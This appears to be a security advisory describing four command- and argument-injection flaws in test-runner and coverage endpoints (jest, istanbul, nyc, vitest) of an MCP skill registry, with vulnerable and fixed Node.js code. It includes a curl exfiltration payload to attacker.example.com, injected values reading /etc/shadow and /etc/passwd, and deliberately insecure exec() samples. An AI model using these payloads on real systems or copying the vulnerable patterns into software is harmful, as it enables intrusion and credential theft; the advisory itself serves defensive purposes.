Claude MCP skill code injection — code coverage and test runner invocation endpoints

SA-SKL-INJECTION26 documents four code injection vulnerabilities in MCP skill registry code coverage and test runner invocation endpoints. Test runners like jest, istanbul, nyc, and vitest all support rich command-line interfaces with path parameters and reporter arguments that, when interpolated into exec() shell strings, become injection vectors. Shell metacharacters, space-injected flags, and path-traversal reporter arguments all achieve arbitrary command execution or file read in the registry scan worker process.

Critical INJECTION26-001 — exec(`jest --testPathPattern=${testPath} --coverage`); attacker testPath with shell metacharacters executes arbitrary commands as the test runner process; fix: execFile() with arg array; validate testPath against /^[a-z0-9_.\-\/]{1,200}$/; sandbox test execution
Critical INJECTION26-002 — exec(`istanbul cover ${entryPoint}`); attacker entryPoint with space-injected --hook-run-in-context=false disabling security hooks in coverage instrumentation; fix: execFile() with arg array; validate entryPoint is within sandboxed workdir via realpathSync
High INJECTION26-003 — exec(`nyc ${coverageDir} mocha`); attacker coverageDir with --include=../../etc/shadow reads server files as covered source; fix: execFile() with arg array; realpathSync containment check; --cwd explicitly set
Critical INJECTION26-004 — exec(`vitest run --reporter=${reporterPath}`); attacker reporterPath injects --reporter=../../etc/passwd path traversal reading server file as reporter output; fix: execFile() with arg array; validate reporterPath against known reporter allowlist

INJECTION26-001 — jest --testPathPattern shell metacharacter RCE

The code coverage endpoint invokes jest with the submitted test path pattern interpolated into an exec() shell string. Shell metacharacters in the test path bypass the pattern matching entirely and execute arbitrary commands. An attacker submits testPath = "foo; curl http://attacker.example.com/$(cat /etc/passwd | base64)" to exfiltrate server files via DNS/HTTP.

Vulnerable
// INJECTION26-001 — VULNERABLE
const { exec } = require('child_process');

router.post('/coverage/run', requireSession, async (req, res) => {
  const { testPath, workDir } = req.body;
  // testPath with ; achieves arbitrary command execution in the test runner process
  exec(
    `jest --testPathPattern=${testPath} --coverage --coverageDirectory=${workDir}/coverage`,
    { cwd: workDir },
    (err, stdout, stderr) => res.json({ stdout, stderr })
  );
});

execFile() with an argument array is the only safe invocation for user-supplied CLI arguments: exec() passes the entire command string to /bin/sh -c, which interprets shell metacharacters (;, &, |, $(), backticks). execFile() passes arguments as a vector to execve(), bypassing the shell entirely. No amount of regex filtering reliably covers all shell metacharacter combinations; the only correct fix is execFile().

Fixed
// INJECTION26-001 — FIXED
const { execFile } = require('child_process');
const path = require('path');
const fs = require('fs');

const TEST_PATH_RE = /^[a-z0-9_.\-\/]{1,200}$/i;
const SANDBOX_BASE = '/sandboxes'; // all workDirs must be under this prefix

router.post('/coverage/run', requireSession, async (req, res) => {
  const { testPath, workDir } = req.body;

  if (!TEST_PATH_RE.test(testPath)) {
    return res.status(400).json({ error: 'Invalid testPath characters' });
  }

  // Containment check: workDir must resolve under SANDBOX_BASE
  const resolvedWorkDir = fs.realpathSync(path.resolve(workDir));
  if (!resolvedWorkDir.startsWith(SANDBOX_BASE + '/')) {
    return res.status(400).json({ error: 'workDir outside sandbox' });
  }

  execFile(
    'jest',
    ['--testPathPattern', testPath, '--coverage', '--coverageDirectory', `${resolvedWorkDir}/coverage`],
    { cwd: resolvedWorkDir, env: { PATH: '/usr/local/bin:/usr/bin' } }, // stripped env
    (err, stdout, stderr) => res.json({ stdout: stdout.slice(0, 10000), stderr: stderr.slice(0, 2000) })
  );
});

INJECTION26-002 — istanbul cover entryPoint space-injection disables security hooks

The istanbul coverage endpoint interpolates the entry point file path into an exec string. An attacker submits an entryPoint value containing a space followed by --hook-run-in-context=false. The shell splits the string at the space, treating the injected flag as a legitimate istanbul argument. With hooks disabled, istanbul no longer applies its require-hook instrumentation that sandboxes loaded modules, allowing the instrumented code to load modules outside the expected scope including system-level Node.js built-ins that the sandbox was meant to restrict.

Vulnerable
// INJECTION26-002 — VULNERABLE
router.post('/coverage/istanbul', requireSession, async (req, res) => {
  const { entryPoint, workDir } = req.body;
  // attacker entryPoint = "index.js --hook-run-in-context=false" disables security hooks
  exec(
    `istanbul cover ${entryPoint}`,
    { cwd: workDir },
    (err, stdout, stderr) => res.json({ stdout, stderr })
  );
});
Fixed
// INJECTION26-002 — FIXED
router.post('/coverage/istanbul', requireSession, async (req, res) => {
  const { entryPoint, workDir } = req.body;

  // Validate entryPoint: filename only (no directory separators in the entry basename)
  const entryBasename = path.basename(entryPoint);
  if (!/^[a-z0-9_.\-]{1,100}$/i.test(entryBasename)) {
    return res.status(400).json({ error: 'Invalid entryPoint' });
  }

  const resolvedWorkDir = fs.realpathSync(path.resolve(workDir));
  if (!resolvedWorkDir.startsWith(SANDBOX_BASE + '/')) {
    return res.status(400).json({ error: 'workDir outside sandbox' });
  }

  // Verify entry file exists within workDir
  const entryFull = path.join(resolvedWorkDir, entryBasename);
  if (!fs.existsSync(entryFull)) return res.status(400).json({ error: 'Entry file not found' });

  execFile('istanbul', ['cover', entryBasename], { cwd: resolvedWorkDir },
    (err, stdout, stderr) => res.json({ stdout: stdout.slice(0, 10000), stderr: stderr.slice(0, 2000) })
  );
});

INJECTION26-003 — nyc coverageDir argument injects --include path traversal

The nyc coverage endpoint passes the coverage output directory as a positional argument in an exec string. An attacker submits coverageDir = "--include=../../etc/shadow .". The shell splits this into the --include flag and a directory argument of ., causing nyc to include /etc/shadow as a source file for coverage reporting. The shadow file content appears in the coverage report output returned to the attacker.

Vulnerable
// INJECTION26-003 — VULNERABLE
router.post('/coverage/nyc', requireSession, async (req, res) => {
  const { coverageDir, workDir } = req.body;
  // attacker coverageDir = "--include=../../etc/shadow ." reads /etc/shadow via nyc --include
  exec(
    `nyc ${coverageDir} mocha`,
    { cwd: workDir },
    (err, stdout, stderr) => res.json({ stdout, stderr })
  );
});
Fixed
// INJECTION26-003 — FIXED
router.post('/coverage/nyc', requireSession, async (req, res) => {
  const { coverageDir, workDir } = req.body;

  const resolvedWorkDir = fs.realpathSync(path.resolve(workDir));
  if (!resolvedWorkDir.startsWith(SANDBOX_BASE + '/')) {
    return res.status(400).json({ error: 'workDir outside sandbox' });
  }

  const resolvedCovDir = path.join(resolvedWorkDir, path.basename(coverageDir));
  if (!resolvedCovDir.startsWith(resolvedWorkDir + '/')) {
    return res.status(400).json({ error: 'coverageDir must be inside workDir' });
  }

  execFile('nyc',
    ['--cwd', resolvedWorkDir,  // explicit cwd prevents include path traversal
     '--reporter=text',
     '--reporter=json',
     `--report-dir=${resolvedCovDir}`,
     'mocha'],
    { cwd: resolvedWorkDir },
    (err, stdout, stderr) => res.json({ stdout: stdout.slice(0, 10000), stderr: stderr.slice(0, 2000) })
  );
});

INJECTION26-004 — vitest --reporter path traversal reads server files

The vitest coverage endpoint passes a reporter path parameter in an exec string. An attacker submits reporterPath = "../../etc/passwd". The shell argument becomes --reporter=../../etc/passwd, causing vitest to load the specified path as a reporter module. When vitest require()s the reporter, it reads the file content, fails to parse it as a JavaScript module, and — in some vitest versions — includes the raw file content in the error message returned to the caller.

Vulnerable
// INJECTION26-004 — VULNERABLE
router.post('/coverage/vitest', requireSession, async (req, res) => {
  const { reporterPath, workDir } = req.body;
  // attacker reporterPath = "../../etc/passwd" — vitest loads /etc/passwd as reporter module
  exec(
    `vitest run --reporter=${reporterPath}`,
    { cwd: workDir },
    (err, stdout, stderr) => res.json({ stdout, stderr })
  );
});
Fixed
// INJECTION26-004 — FIXED
// Only allow built-in vitest reporter names; never accept file paths as reporters.
const ALLOWED_REPORTERS = new Set(['verbose', 'dot', 'json', 'junit', 'tap']);

router.post('/coverage/vitest', requireSession, async (req, res) => {
  const { reporterName, workDir } = req.body; // renamed to reporterName — not a path

  if (!ALLOWED_REPORTERS.has(reporterName)) {
    return res.status(400).json({ error: `Reporter must be one of: ${[...ALLOWED_REPORTERS].join(', ')}` });
  }

  const resolvedWorkDir = fs.realpathSync(path.resolve(workDir));
  if (!resolvedWorkDir.startsWith(SANDBOX_BASE + '/')) {
    return res.status(400).json({ error: 'workDir outside sandbox' });
  }

  execFile('vitest', ['run', '--reporter', reporterName], { cwd: resolvedWorkDir },
    (err, stdout, stderr) => res.json({ stdout: stdout.slice(0, 10000), stderr: stderr.slice(0, 2000) })
  );
});

Related advisories: For code injection in npm package analysis and static analysis tool invocation endpoints, see SA-SKL-INJECTION25. For privilege escalation in skill publication and verification status endpoints, see SA-SKL-PRIVESC19.

Scan your MCP server or Claude skill

SkillAudit checks for INJECTION26, SSRF, CORS, deserialization, and 50+ more vulnerability patterns — in 60 seconds.

Get early access